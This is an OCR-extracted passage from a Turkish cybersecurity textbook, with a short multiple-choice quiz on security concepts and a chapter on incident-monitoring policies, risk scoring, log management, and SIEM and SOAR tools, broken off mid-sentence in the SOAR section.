- Farkli sektorler bir araya gelerek is birligi yapma, ortak proje gelistirme ve yeni ortaliklar kurma firsati
yakalar.

« Uyeler; ortak etkinlikler, yayinlar ve networkler araciligiyla miisterilere, is ortaklarina veya yatirimci-
larina daha kolay ulasabilir.

« Platform Uzerinden lyeler bilgi ve deneyimlerini paylasarak sektordeki trendler hakkinda bilgi edi-
nilmesini saglar.

« Uyelerin teknik konularda yetkinliklerini artirmak icin egitimler, calistaylar ve mentorluk programlari
diizenlenir.

« Ortak bir faaliyet catisi altinda yer almak tyelerin markalasmasina katki saglar.

« Siber glivenlik alaninda sektorin ihtiyaglari dogrultusunda nitelikli insan kaynaklarinin yetistirilme-
sine katkida bulunur.

« Yeni fikirlerin ortaya ¢ikmasi, desteklenmesi amaciyla etkinlikler diizenlenir.
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OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde bogs birakilan yerlere dogru kelimeleri yaziniz.

B)

Bir sisteme yetkisiz erisim saglandiktan sonra glivenlik aciklarini kullanarak daha ayricalikli islemleri
yapabilme yetkisine sahip olma eylemine .........cccoecovieiiiiiiiei e denir.

Bir kurulusun bilgi sistemi veya ag yapisinda siber saldirilara karsi zayif olan glivenlik aciklarini tespit
etme, onceliklendirme, degerlendirme ve giderme SUrecine ........ccccvveeeeeeeeeeeciciiniiieeeee e,
denir.

Dijital dlinyayi daha glivenli bir yer haline getirmeyi amaclayan ve kar amaci gitmeyen bir kurulusa

Asagidaki sorulan dikkatlice okuyarak dogru cevabi isaretleyiniz.

Bir sirketin sunucularinda yer alan énemli 3. Kimlik ve Erisim Yonetimi (IAM) kapsa-

veriler sifrelenmistir. Korsanlar, bu verilerin
geri alinabilmesi icin kripto para talebinde
bulunulmaktadir.

Paragrafta belirtilen siber olay, asagidaki-
lerden hangisidir?

A) Casus Yazilm

B) Fidye Yazilimi

C) Kimlik Avi

D) Trojan Saldirisi

E) Yetkisiz Erisim

Bilginin sadece yetkili kisiler tarafindan
erisilebilir olmasi, asagidaki temel siber
glivenlik ilkelerinden hangisini ifade eder?
A) BUtunluk

B) Erisilebilirlik

C) Gizlilik

D) Kimlik dogrulama

E) Yetkilendirme

minda yer alan yetkilendirme hizmetleri,
asagidakilerden hangisini ifade eder?

A) Hangi kullanicinin hangi kaynaklara
erisecegini belirler.

B) Kullanicilarin sifrelerini sifirlar.

C) Log kayitlarini depolar.

D) Sisteme zararli yazilimlarin girisini
engeller.

E) Sistemin glincellenmesini saglar.

. Asagidakilerden hangisi son kullanici gii-

venligi icin alinmasi gereken 6nlemlerden

biri degildir?

A) Bilinmeyen e-postalara dikkat etmek

B) Cok faktorla kimlik dogrulama
uygulamak

C) Glgli parolalar kullanmak

D) Giincel antivirls yazilimi kullanmak

E) Glvenlik duvarini kapatmak



. Asagidakilerden hangisi siber olay mii-

dahale planinin sinirlama asamasinda

gergeklestirilen eylemdir?

A) Ag iletisiminin durdurulmasi ve stipheli
dosyalarin karantinaya alinmasi

B) Givenlik politikalarinin yeniden yapilan-
dirilimasi

C) Personelin siber saldirilar konusunda
egitilmesi

D) Olayin kaynaginin belirlenmesi ve analiz
edilmesi

E) Zarar goren verilerin geri yiklenmesi

. NIST siber olay miidahale gergevesinde
olayin etkilerini azaltmak ve sistemleri eski
haline déndiirmek icin yapilan ¢alismalari
asagidaki agsamalardan hangisi kapsar?

A) Hazirhk

B) Kurtarma

C) Sinirlama

D) Sirekli iyilestirme

E) Tespit ve analiz

. Asagidakilerden hangisi MITRE ATT&CK

gergevesini tanimlar?

A) Fiziksel glivenlik 6nlemlerinin alinmasi

B) Siber saldiri tekniklerinin ve saldirgan
davranislarinin haritalandiriimasi

C) Sistem yedekleme proseddrlerinin
olusturulmasi

D) Sirket ici glivenlik politikalarinin
belirlenmesi

E) Personel egitimi ve farkindalik artirma
programlari

8.

10.

Asagidakilerden hangisi Kisisel Verileri
Koruma Kanunu’nun sagladigi faydalardan
biri degildir?

A) Bireylerin kisisel verileri izerindeki
haklarini kullanabilmelerini saglar.

B) Kisisel verilerin islenmesi siirecinde
seffaflik ve denetim mekanizmalari
olusturur.

C) Kisisel verilerin yurt disina sinirsiz
sekilde aktarilmasina izin verir.

D) Ozel nitelikli verilerin korunmasi igin
ilave glivenlik 6nlemleri alinmasini
zorunlu kilar.

E) Veri sorumlularinin hukuki sorumlulukla-
rini belirleyerek yaptirimlar getirir.

Kurum iginde sadece tek bir ekip tara-
findan olaylara miidahale edilen ve tiim
kaynaklarin bu merkez ekipte toplandigi,
genellikle kiigiik ve orta olgekli kuruluslar-
da kullanilan CSIRT modeli agagidakilerden
hangisidir?

A) Dagitik (Distributed) CSIRT

B) Hiyerarsik (Hierarchical) CSIRT

C) Koordineli (Coordinated) CSIRT

D) Merkezi (Centralized) CSIRT

E) Sanal (Virtual) CSIRT

Asagidakilerden hangisi Avrupa Birligi
iilkelerinin genelinde yiiksek diizeyde siber
glivenlik saglamayi amaglayan ajanstir?

A) CERT
B) CSIRT
C) ENISA
D) FIRST
E) USOM
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KONULAR NELER OGRENECEKS

2.1. OLAY iZLEME YONTEMLERI « Siber olay izleme politikalari
« Siber olay izleme uygulamasi

2.2. OLAY iZLEME UYGULAMASI

TEMEL KAVRAMLAR

« dark web

- EDR/XDR

« IDS/IPS

+ log yonetimi
« SIEM

+ SOAR

« threat hunting
« TIP
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HAZIRLIK CALISMALARI

1. Dijital ortamda sakladigimiz verilerin glivenligi sizce nasil saglanmaktadir? Arkadaslarinizla
tartisiniz.

2. Bildiginiz siber sug cesitlerini ve bu suglarin yaptirimlarinin neler oldugunu sinif
arkadaslarinizla tartisiniz.

2.1. OLAY iZLEME YONTEMLERI

Dijital diinyanin hizla gelismesine bagli olarak siber tehditlerin sayisi ve gesitliligi de giderek artar.
Kurumlarin dijital varliklarinin korunmasi, etkili bir siber olay yonetim sireciyle dogrudan ilgilidir. Bu
slirecte siber tehditlerin iyi tanimlanmasi, dogru arag ve yontemlerin kullanilmasi, izleme politikalarinin
belirlenmesi ve izlenmesi gereken unsurlarin tanimlanmasi kritik rol oynar (Gorsel 2.1).

Gorsel 2.1: Siber olay izleme

2.1.1. Siber Olay izleme Politikalar

Siber glvenlikte olay yonetim sirecinin etkinligi detayl ve kapsamli izleme politikalarinin varligina
baglidir. Bu politikalar, siber tehditlerin proaktif olarak tespit edilmesi, analiz ve miidahale edilmesi
sureclerini sekillendirir. Her kurum kendi risk profiline, ihtiyacina ve yasal gerekliliklerine uygun
olarak ozellestirilmis olay izleme politikalarini olusturmalidir. Bu politikalar, uluslararasi kabul gérmis
standartlara ve cergevelere uygun olarak hazirlanir. Politikalarin tim paydaslara duyurulmasi,
paydaslarin gorevlerinin ve sorumluluklarinin net bir sekilde tanimlanmasi kritik 6neme sahiptir. Olay
izleme politikalari sunlardir:

Bilgi Giivenligi Olay Yonetimi Politikasi: Bir kurulusun fiziksel ve dijital bilgi varliklarinin korunmasina
yonelik olusturdugu temel glivenlik prensiplerini ve gercevelerini belirler. Bu yaklasim; verinin gizliligini,
bitinligini ve erisilebilirligini korumayi hedefler. Ornegin bir e-ticaret sirketi bilgi giivenligi olay
yonetim politikasi ile kullanicilara ait verilerin sizmasi, web sitesinin hizmet kesintisine ugramasi, fidye
yazilimi saldirisi gibi durumlari dnlemeyi ve bu tiir olaylara etkin sekilde miidahale etmeyi amaglar.
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SIBER OLAY iZLEME

Olay Tanimlari ve Siniflandirma Politikalarni: Siber glivenlik olaylarinin agik bir sekilde tanimlanmasini
ve bu olaylarin etki diizeylerine gore siniflandirilmasini saglar. Olayin tanimlanmasi; analiz, midahale ve
rapor sirecinin tutarh bir sekilde yonetilmesini saglar. Olayin siniflandirilmasi ise risk derecesine gore
onceliklendirme yapilarak miidahale siirecinin etkinligini artirir. Ornegin bir bankada sunucunun fidye
yazilmi ile kilitlenmesi, yliksek kritik bir saldiriyken bir ¢alisanin hassas bir dosyayi yanlislikla e-posta
olarak gondermesi disuk kritik veri sizintisi olarak kabul edilir.

Oncelik Siralamasi Politikasi: Siber giivenlik olaylarinda hangi olaya daha hizli ve 6ncelikle miidahale
edilmesi gerektiginin belirlenmesidir. Bu 6ncelik siralamasi ile siber olayin is stirekliligi Gzerindeki etkisi,
olasi finansal zararlar, yasal yukumlultkler gibi 6l¢ltlere gore yapilir. Siber olaylar; yiksek, orta ve diistk
seviye olarak siralanir.

1. Yiiksek Oncelikli Olaylar: Kritik sistemlerin isleyisini veya hassas verilerin korunmasini dogrudan
etkileyen siber giivenlik olaylaridir. Bu olaylara, mimkiin olan en kisa stirede (genellikle 15-30
dakika) miidahale edilmesi hedeflenir. Ornegin hizmet kesintisine sebep olan DDoS saldirilari,
kritik sistemleri sifreleyen fidye yazilim saldirilari ve hassas verilere yetkisiz erisim saglanmasi
yuksek oncelikli olaylar olarak siralanir.

2. Orta Oncelikli Olaylar: Etki alani heniiz sinirli fakat diger sistemler igin risk olusturan olaylardir.
Genellikle birkag saat icinde miidahale edilmesi hedeflenir. Ornegin agda tespit edilen zararli
yazilimlar, sistemde tespit edilen givenlik agiklari, anormal kullanici davranislari, stipheli e-posta
gibi olaylar orta oncelikli olay olarak siralanir.

3. Diisiik Oncelikli Olaylar: Bir sistemi dogrudan tehdit etmeyen diisiik riskli olaylardir. Miidahalenin
bir veya birkac giin icinde yapilmasi hedeflenir. Ornegin yazilim giincelleme uyarilari, zayif parola
kullanimlari, kullanici destek talepleri gibi olaylar distk 6ncelikli olaylar olarak siralanir.

izleme Kurallari ve Politikalari: Bir kurumun bilgi sistemlerinde gerceklesen olaylarin siirekli olarak
izlenmesiyle ilgili kurallar ve proseddirleri icerir. Bu politika ile potansiyel siber glivenlik tehditleri
dnceden tespit edilir ve gerceklesen olaylara hizli bir sekilde miidahale edilir. izleme kurallari ile
izlenecek veriler, kullanilacak araglar ve izleme sikhgi belirlenir. Sistemde gerceklesen tim olaylar
loglanarak kayit altina alinir ve anormal davranislar tespit edilir. Strekli izlenmesi gereken sistemlerden
bazilari sunlardir:

« Ag trafigi

« Sunucu erisimleri

« Kullanici oturumlari

« Veri tabani sorgulari

 Kritik dosya ve dizin islemleri

» Guvenlik cihazi ve uygulama loglari

« Yedekleme sireci

izleme sistemleri, stirekli calismali ve sistemin calismadigi durumlar otomatik olarak bildirilmelidir.
Ayrica izleme kurallarinin gdézden gegirilerek glincellenmesi, kritik neme sahiptir.

Saldiri Senaryolar Politikasi: Kuruluslarin siber saldiri senaryolari olusturup bu saldirilara karsi 6nlem
almasini ve midahale planlari gelistirmesini amaglar. Saldiri senaryolari ile mevcut olay midahale plani
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test edilirken sistemdeki zafiyetler de tespit edilir. Boylece potansiyel saldiri riskleri gerceklesmeden
mevcut durum yeniden gincellenir. Saldiri senaryolari belirli araliklarla tekrar edilmeli ve saldirilar,
glvenli bir ortamda yapilmalidir. Ulusal ve uluslararasi tehdit istihbarat kaynaklari, MITRE ATT&CK
cercevesinde yer alan TTP’ler ve olay ge¢cmisi dikkate alinarak saldiri senaryolari belirlenir. Buna gore
hedeflenen varliklar, saldirinin potansiyel etkisi, tespit araglari ve miidahale adimlari detayl olarak
tanimlanir. Tatbikat gerceklestikten sonra sonuglar raporlanir ve tespit edilen zafiyetler giderilir.

Tehdit Siralamalari Politikasi: Bir kurulusun karsilasabilecegi siber glivenlik tehditlerinin degerlendirilip,
potansiyel etkilerine gore siralanarak glivenlik risklerini en aza indirmeyi amaclar. Tehdit siralamasi,
proaktif bir yaklasim olup risk yonetim siirecinde kritik 6neme sahiptir. Bu politikaya gore bir kurulusun
karsilasabilecegi tim ig, dis ve teknolojik tehditler tanimlanir. Dis tehditler, sistemin disindan gelen
koti niyetli saldirilardir. i¢ tehditler, sistemin kendi icindeki calisanlarin kasith veya kasitsiz davranislari
sonucunda olusan glivenlik riskleridir. Teknolojik tehditler ise yazilim agiklari, glincel olmayan sistemler,
donanim yetersizlikleri, glivenlik duvari agiklari gibi durumlarin neden oldugu risklerdir.

Tespit edilen tehditlerin etki (impact) ve olasilik (likelihood) durumlari puanlanir. Tehdidin gergeklesmesi
durumunda ortaya ¢ikacak zararin siddeti; diislik (1), orta (2), yiiksek (3), cok yiiksek (4) ve kritik (5) etki
olarak derecelenir. Tehdidin gergeklesme ihtimali ise diislik (1), orta (2), yiiksek (3), ¢ok yiiksek (4) ve
kritik (5) olasilik olarak derecelenir. Her bir tehdidin risk puani = etki x olasilik formli ile hesaplanarak
tehdit siralamasi yapilir. Bu hesaplamaya gore risk seviyesi su sekildedir:

1-5: Diigiik Risk

6-10: Orta Risk

11-15: Yiiksek Risk
16-20: Cok Yiiksek Risk

21-25: Kritik

Risk puani hesaplanirken kurumun yapisina ve risk hassasiyetine gore daha detayl
Olcekler de kullanilabilir.

Tablo 2.1’de tehdit 6rneklerine ait etki, olasilik degerleriile hesaplanan risk puani ve risk seviyesi gorilir.

Tablo 2.1: Risk Seviyesi Matrisi

Tehdit Etki (1-5) Olasilik (1-5) Risk Puani Risk Seviyesi
Glincel ol
uncel ofmayan 4 3 12 Yiksek
yazilimlar
Guvenli olmayan
3 3 9 Orta
e-posta
Sunucuya erisim 5 1 5 Dusuk
Yonetici hesabinin .
4 4 16 Cok yuksek
¢alinmasi
Fid |
\cve yaziim 5 5 25 Kritik
saldirisi
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Log (Kayit) Yonetimi ve Analiz Politikasi: Kuruluslarin bilgi sistemlerinde gergeklesen her olay, otomatik
kaydedilerek log dosyalari olusturulur. Log yonetimi; giinlik dosyalarin olusturulmasi, iletilmesi, analiz
edilmesi, saklanmasi, arsivienmesi ve silinmesi slirecini kapsar. Sunucular, veri tabanlari, ag cihazlari,
uc kullanici cihazlari, uygulama yazilimlari gibi bilgi sistemlerine ait tum bilesenlerde log kayitlari
olusturulur. Bu loglar, sistemlerde meydana gelen olaylar hakkinda ayrintili bilgiler igerir. Ayrica kullanici
faaliyetlerinin, sistem islemlerinin ve glivenlik olaylarinin izlenmesini saglar. Loglar, tretildigi kaynaklara
ve iceriklerine gore cesitli kategorilere ayrilir. Log tirlerinden bazilari sunlardir:

Sistem Loglari: isletim sistemi tarafindan retilen olay kayitlaridir.
Ag Loglari: Ag cihazlarinin olusturdugu olay kayitlaridir.

Uygulama Loglari: Yazilimlarin ¢calismasi sirasinda olusturulan olay kayitlaridir.
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Giivenlik Loglari: Kimlik dogrulama, yetkisiz erisim girisimi, sipheli aktiviteler gibi olaylarin
kayitlaridir.

5. Olay Loglari: Kullaniciigslemleri, yapilandirma degisiklikleri, sistemdeki kritik degislikler gibi olaylarin
kayitlaridir.

Log dosyalari diiz metin dosyasi, XML, JSON, syslog, CVS gibi cesitli formatlarda olusturulur. Log yonetim
slrecinin agsamalari sunlardir:

1. Log Toplama: Cesitli sistemlerden gelen glinlik dosyalarin tek bir merkezi konumda toplanmasidir.

2. Ayristirma ve Normallestirme: Farkl formatlarda olusturulan giinlik dosyalarinin gesitli yonetim
araclariyla standart bir formata donustirilmesidir. Bu islem, verilerin analiz edilmesini kolaylastirir.

3. Depolama: Normallestirme isleminden sonra giinliikler, merkezi giinlikleme sisteminde depolanir.
Bu sistem, guinliklerin hem gercek zamanli analiz edilmesine hem de uzun siireli depolamasina
olanak tanir.

4. Analiz: Glnluk veriler, 6zel yazilim veya araglarla incelenerek degerlendirilir. Bu asamada veriler
filtrelenerek gruplandirilir ve anlamli hale getirilir. Korelasyon, anomali analizi, zaman gizelgesi gibi
yontemlerle davranis egilimleri ve anomaliler tespit edilir.

5. Raporlama: Analiz sonuglarina dayanarak elde edilen verilerden anlasilabilir bilgiler ¢ikartma,
givenlik aciklarini tespit etme, sistemin ¢alismasini ve performansini degerlendirme sirecidir.

6. Eylem: Analiz ve rapor sonuclarina bagli olarak tespit edilen sorunu diizeltmek icin yapilan islemdir.
Bu islemler; yapilandirma hatalarinin dizeltilmesi, yazilimin glincellenmesi, donanim arizalarinin
giderilmesi vb. olabilir.

7. imha Etme: Giinliik verileri, yasal diizenlemeler veya sirket ici politikalar tarafindan belirlenen siire
boyunca saklanir. Bu siire bitiminde veriler, arsivlenir veya imha edilir.

Olay Tespit, Alarm ve Bildirim Politikasi: Bir kurulusun bilgi sistemlerinde gerceklesebilecek siber
glvenlik olayinin tespit edilecegi araclarin, potansiyel olaylar icin uyari, esik ve tetiklenme degerlerinin
ve olayin ilgili kisilere bildirim slrecinin tanimlanmasidir. Siber olaylar, otomatik olarak algilanan
sistemler (SIEM) tarafindan tespit edilir. Stipheli bir eylem tespit edildiginde ise alarm Uretilir. Alarmlarin
esik degerleri, net bir bicimde tanimlanarak gereksiz uyarilar en aza indirilir. Her alarm; olayin 6ncelik
derecesini, olayin kaynagini, etkilenen sistemleri ve zaman bilgisini icerir. Alarmin siddetine gore ilgili
kisilere otomatik olarak bildirim génderilir. Ornegin bir kullanici, calisma saatleri disinda farkli bir Glke
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Uzerinden oturum agma denemelerinde bulundugunda SIEM araglari, olayi tespit eder ve alarm Uretir.
Bilgi glivenligi ekibine SMS ve e-posta génderilerek bildirim yapilir.

Olay Miidahale Prosediirleri ve Yanit Siireleri Politikasi: Bir kurulusun bilgi sistemlerinde gerceklesen
siber olaya midahale igin gerekli islemlerin ve zaman ydnetiminin tanimlandigi politikadir. Olay
midahalesinde uygulanmasi gereken; prosediirler, yanit siireleri, rollerle sorumluluklar detayli ve
kapsamli bir sekilde ele alinarak olayin etkisini en aza indirmek hedeflenir. Ornegin bir kurulusa ait web
sitesi siber saldiriya ugradiginda izlenecek adimlar; web sitesini cevrimdisi yapmak, saldiri kaynagini
tespit etmek, glivenlik aciklarini kapatmak, bir saat icinde miidahale etmek vb. seklinde detaylandirilir.

Rol ve Sorumluluklar ile Erisim Politikalari: Bir kurulusun olay miidahale slrecine dahil olan kisilerin
ve ekiplerin gorev tanimlarinin yapilmasi, sorumluluklarinin belirlenmesi, bilgi sistemlerine erisim
yetkilerinin tanimlanmasive kontrol edilmesidir. Rollerin ve sorumluluklarin net bir sekilde tanimlanmasi,
gorev cakismalarinin ve glivenlik zafiyetlerinin dnlenmesinde kritik 6Gneme sahiptir. Erisim politikalari
ile kisilerin gérev tanimina uygun veriler paylasilarak bilgi glivenligi artirilir. Boylece yetkisiz erisim,
veri sizintisi gibi riskler azaltilir. Ornegin bir giivenlik analistinin olayla ilgili sorumluluklari; olayi analiz
etmek, zararli yazilimlari incelemek ve rapor hazirlamak seklinde tanimlanirken erisim yetkisi sadece
SIEM ve log sistemlerini okuma ile sinirlandirilir.

Gizlilik ve Veri Koruma Politikasi: Olay midahale silirecinde toplanarak islenen kisisel verilerin veya
kurumsal hassas bilgilerin gizliliginin korunmasidir. Kisisel veriler, yasal diizenlemelere (KVKK, GPDR vb.)
uygun sekilde korunur. Yetkisiz kisiler tarafindan erisilmesi ve kot amacli kullanimi; erisim kontrolleri,
sifreleme, maskeleme gibi yontemlerle engellenir.

Kullanici ve Sistem Davranisi izleme Politikasi: Kurum igindeki kullanici aktivitelerinin ve sistem
isleyisinin sirekli izlenmesi ve slipheli etkinliklerin tespit edilmesidir. Kullanicilarin oturum bilgileri,
dosya erisimleri, yaptiklari islemler, kullandiklari sistemler gibi tiim etkinlikler kaydedilir. Ayni sekilde
sistem bilesenlerinin performansi, kaynak kullanimi, galisan hizmetler ve glivenlik durumlari da takip
edilir. Bu slirecte, normal olmayan davranislar tespit edilirse glivenlik ekiplerine bildirilir.

Siirekli izleme ve lyilestirme Politikasi: Sirekli degisen siber tehdit ortaminda kesintisiz izleme
yapilmasi neredeyse zorunluluk haline gelir. Bu sebeple kuruluslar, tim bilgi sistemlerini stirekli olarak
izler. Tespit edilen her tiirli anormal davranislar, slipheli aktiviteler veya glvenlik olaylari karsisinda
gerekli midahaleyi en hizli sekilde saglar. Siber giivenlik sireci, strekli isleyen dinamik bir siire¢ olup
elde edilen tim bilgiler glivenlik politikalarinin iyilestirilmesi ve gliglendirilmesi igin kullantlir.

2.1.2. Siber Olay izleme Yéntem ve Araglari

Siber olay izleme, bir kurulusun bilgi sistemlerinde meydana gelen glivenlik olaylarinin anlik veya
gecikmeli olarak tespit edilmesidir. Bir sistem; SOC analistleri, olay miidahale ekipleri veya siber glivenlik
uzmanlari tarafindan kesintisiz takip edilir. Bu strecte kullanilan arag ve yontemler hem olasi risklerin
hem de gerceklesen olaylarin bildirilmesini saglar. Araglar, olay miidahale siirecinde kullanilan yazilim,
donanim veya platformlar olup siirece teknik destek saglarken yéntemler ise bu siirecte araglarin nasil
kullanilacagini belirleyen politika, prosedir ve uygulamalardir.

Olay miidahale stirecinin etkili bir sekilde yonetilmesi, olay izleme araglarinin dogru ve koordineli bir
sekilde kullanilmasina baghdir.
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2.1.2.1. SIEM [Security Information and Event Management (Giivenlik Bilgi ve Olay
Yonetimi)]

SIEM, Guvenlik Bilgi Yonetimi [Security Information Management (SIM)] ve Glvenlik Olay Yonetimi
[Security Event Management (SEM)] islevlerinin bir araya gelmesiyle olusturulan bir glivenlik ¢6zimudur.
Giivenlik bilgi yonetimi; uzun vadeli veri depolama, verilerin analiz edilmesi ve raporlanmasi,
givenlik uyumlulugunun dogrulanmasi gibi islemleri gergeklestirir. Glivenli olay yénetimi de siber
olaylarin gercek zamanh olarak izlenmesi, analiz edilmesi ve bildirilmesi slirecini kapsar. SIEM ise bu
ozellikleri birlestirerek birden fazla kaynaktan gelen glinllk verilerin toplanmasini, analiz edilmesini ve
yonetilmesini saglar (Gorsel 2.2).

° 1 Gunlik Yonetimi
\ ’
S!EM TEMEIT : § 2 Guvenlik Bilgi
BILESENLERI Yonetimi
L ]
o 3 Guvenlik Olayi
Yonetimi

Gorsel 2.2: SIEM’in temel bilesenleri

Kuruluslarin bilgi sistemlerinde gerceklesen olay ve log kayitlari, biyik bir veri yiginina donisir. SIEM,
bu verilerin merkezi bir yerde toplanip ayristirilmasini ve stipheli aktivitelerin otomatik olarak tespit
edilmesini saglar. Gorsel 2.3'te SIEM’in temel islevleri goralir.

Log Analizi Q

Log Toplama

@ Raporlama

Dosya Biltiinligii

| Sistem ve Cihaz
=

SIEM TEKNOLOVJISI

Gorsel 2.3: SIEM’in temel islevleri
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Log Collection (Log Toplama): Sunucular, ag cihazlari, glivenlik duvari, uygulamalar gibi farkl
kaynaklardan gelen log verilerinin merkezi bir yerde toplanmasi islemidir. Toplanan veriler, belirli bir
formata donusturilerek normalizasyon yapilir.

Log Analysis (Log Analizi): Toplanan veriler analiz edilerek olagan disi davranislar, sistemde gerceklesen
olaylar, hatalar veya kural ihlalleri analiz edilir. Bu islem, potansiyel glvenlik aciklarinin veya tehdit
gostergelerinin tespit edilmesini saglar. Verilerin analizinde kural tabanli, imza tabanl ve davranigsal
analiz teknikler kullanilir. Kural tabanh analizde 6nceden tanimlanan mantiksal kurallara gore
inceleme-analiz yapilir. Ornegin bes dakika icinde on adet basarisiz oturum acma istegi oldugunda
alarm Uretilir. Bilinen glivenlik senaryolarina gore yapilan bu analiz; net, anlasilir ve 6zellestirilebilir
oldugu icin pratiktir fakat yeni tehdit tiirlerini tespit etmekte yetersiz kalabilir. imza tabanli analizde
bilinen saldirilarin taniml dijital izlerine (loglarina) dayanarak alarm iretilir. Ornegin énceden tanimli
olan bir SQL Injection denemesi aninda tespit edilir. Davranissal analizde kullanicilarin ve sistemlerin
normal davranislari 6grenilerek normal olmayan davranislar tespit edildiginde alarm dretilir. Ornegin
bir kullanicinin galisma saatleri disinda sistemde aktif olarak biiylik dosya indirmesi, anormal davranis
olarak kabul edilir.

Log Correlation (Log Korelasyonu): Farkh kaynaklardan gelen olaylar; birbiriyle iliskilendirilerek,
daha buiyiik ve anlamli bir tehdit senaryosu olup olmadigi degerlendirilir. Ornegin sirket icindeki bir
kullanicinin basarisiz oturum agma denemelerinin ardindan VPN kullanarak veri tabanindan buyik
miktarda veri aktarimi yapmasi, korelasyonla veri sizintisi sliphesi olarak degerlendirilir.

Log Forensic (Log Adli Analizi): Bir siber olayin nasil, kimler tarafindan ve ne zaman yapildigini 6grenmek
icin detayli olarak incelenmesidir. Bu analiz sonuglari adli delil olarak da kullantlir.

It Compliance (BT Uyumlulugu): Bir kurulusun BT altyapisinin yasal diizenlemelere (KVKK, GPDER vb.),
sektorel standartlara (HIPAA, PCI DSS vb.) ve kurum ici politikalara uygun olarak diizenlenmesidir. Bu
diizenlemelerle belirli glivenlik dnlemlerinin uygulanmasi zorunlu hale gelir, aksi takdirde para cezasi
uygulanir.

App Monitoring (Uygulama izleme): Uygulama loglarinin izlenerek hatalarin, saldirilarin veya anormal
davranislarin tespit edilmesidir. Uygulama katmanindaki saldirilarin tespitinde énemli rol oynar.

Object Access Audit (Nesne Erisim Denetimi): Bir kurulusun bilgi sistemlerinde yer alan bazi nesnelere
(dosya, klasor, veri tabani, kayit defteri vb.) kimlerin, ne zaman ve hangi yetkiyle (okuma, yazma, silme
vb.) eristiginin denetlenmesidir. Hassas verilerin glivenliginin saglanmasi ve yetkisiz erisimin énlenmesi
icin kritik dneme sahiptir.

Real Time Alerts (Gergek Zamanl Uyarilar): Potansiyel bir tehdit veya giivenlik olayi tespit edildiginde
ilgili kisilere veya glivenlik ekiplerine yapilan otomatik bildirimlerdir. Bu bildirimler; e-posta, SMS veya
uygulama paneli Gizerinden yapihr. Siber olaya hizlica miidahale edilmesi ve etkinin en aza indirilmesi
acisindan oldukga 6nemlidir.

User Monitoring (Kullanici izleme): Kullanicilarin sistemdeki davranislarinin izlenerek anormal
davranislarin analiz edilmesidir. Ozellikle i¢ tehditlerin tespit edilmesinde etkilidir.

Dashboard (Kontrol Paneli): Toplanan verilerin ve analiz sonuglarinin anlasilabilir bir sekilde grafik,
gorsel ve Ozet bilgilerle gosterildigi araylzlerdir. Sistem tehditleri, uyarilar, ag trafigi, sipheli davranislar
gibi bircok veri bu panellerde gosterilir. Kontrol paneli, siber glivenlik uzmanlarina ag ortaminda hizh
bir gbriinim saglar.
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Reporting (Raporlama): Toplanan verilerin, analiz edilerek anlamli bir butlinlik igcinde rapor haline
getirilmesidir. Raporlar ihtiyaca gore giinliik, haftalik veya aylik olusturulabilir.

File Integrity (Dosya Biitiinliigii): Sistem yapilandirma dosyalari gibi kritik dosyalarin izlenerek dosya
yapisinda herhangi bir degisiklik olup olmadiginin takip edilmesidir. Bu dosyalarin hash degerleri veya
icerikleri takip edilerek bunlarda degisiklik yapildiginda log ve alarm dretilir. Bu eylemin yetkisiz kisiler
tarafindan kot amacla yapildigi tespit edilirse glivenlik dnlemleri devreye girer.

System & Device Monitoring (Sistem ve Cihaz izleme): BT sisteminde yer alan cihazlarin ve sistem
bilesenlerinin durumu surekli izlenir. SIEM cihazlardan gelen loglari analiz ederek performans,
yapilandirma, hizmet kesintileri gibi degisiklikleri tespit eder. Bu sayede hem glivenlik tehditleri hem de
sistemin saglikli calismasi kontrol altina alinir.

SIEM ¢ozUmleri kuruluslarin altyapisina, biyikliglne, bltcelerine ve glivenlik ihtiyaclarina gore farkhlik
gosterir. Gorsel 2.4’te SIEM dagitim modelleri géralir.

Yerel Kurulum Bulut Tabanli Hibrit
(On Premise) (Cloud Based) (Hybrid)

Kurumun kendi veri merke-
zinde kurulur.

Sistem Uzerinde tam kontrol
saglanir.

ihtiyaca gore dzellestirme ve
entegrasyon yapilabilir.

Donanim ihtiyaci ve bakim
maliyeti gerektirir.

Teknik bilgiye ve sirekli IT
destegine ihtiya¢ duyulur.

Sistemin bakimi, yedeklen-
mesi ve felaket kurtarma so-
rumlulugu kuruma aittir.

« SIEM hizmeti, bulut servis
saglayicisi Gzerinden alinir.

- Bakim ve giincellemeler sag-
layici tarafindan yapilir.

« Hizh ve diistik maliyetli kuru-
lum yapilir.

« Olceklenebilir bir sistemdir.

- Hizmet, internet baglantisi
gerektirir.

« Kuruma ait Ozellestirmeler
sinirli olabilir.

« Verilerin tGglincl tarafta sak-
lanmasi giivenlik riski olus-
turabilir.

« SIEM hizmetleri hem kurum
icinde hem de bulut orta-
minda sunulur.

« Kurum igi sistemlerle bulut
ozellikleri birlestirilir.

« Kritik verilerin kurum iginde
saklanip analiz islemlerinin
bulutta yapilmasi gibi ozel-
lestirmeler yapilabilir.

- Yapilandirilmasi daha kar-

masiktr.

« Uyumluluk igin teknik bir
planlama gerektirir.

« Veri senkronizasyonunda so-
runlar yasanabilir.

Gorsel 2.4: SIEM dagiim modelleri
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2.1.2.2. SOAR [Security Orchestration, Automation and Response (Giivenlik
Orkestrasyonu, Otomasyon ve Miidahale)]

Dijital dinyanin hizla biiyimesiyle birlikte dijital varliklarin korunmasi da giderek zorlasir. Siber saldiri
cesitlerinin niteligi ve sayisi stirekli artarken giivenlik uyarilari da artmaya devam eder. insan giiciiyle
yonetilen bu sire¢ zamanla yetersiz kalmaya baslar. Olay miidahale slrecinde insan giicline destek
olmak icin bazi islemlerin otomatiklestirilmesi fikriyle SOAR teknolojisi gelistirilir. Bu teknolojiyle
glvenlik sistemlerinden gelen uyarilar ve veriler toplanir, insan ve makine 6grenmesinin glicliyle olay
midahale siireglerinin otomatiklestiriimesi saglanir. SOAR (¢ temel isleve sahiptir (Gorsel 2.5).

o‘\(estrc':ls Yo,

Gorsel 2.5: SOAR’In Ui¢ temel islevi

1. Orkestrasyon: Farkli giivenlik araglarinin, sistemlerin ve is akislarinin koordineli g¢alismasi igin
birbirine entegre edilmesidir. Bu sayede glivenlik acigl tarayicilari, u¢ nokta koruma urinleri,
guvenlik duvarlari, IDS/IPS sistemleri, SIEM araglari, u¢ nokta giivenlik yazilimi, kullanici davranisi
izleme gibi kaynaklardan gelen veriler toplanir.

2. Otomasyon: Glivenlik uzmanlarinin manuel olarak yaptigi islerin makineler tarafindan otomatik
yapilmasini saglar. Orkestrasyon sirecinden gelen veriler toplanarak analiz edilir. Bu analiz sonucuna
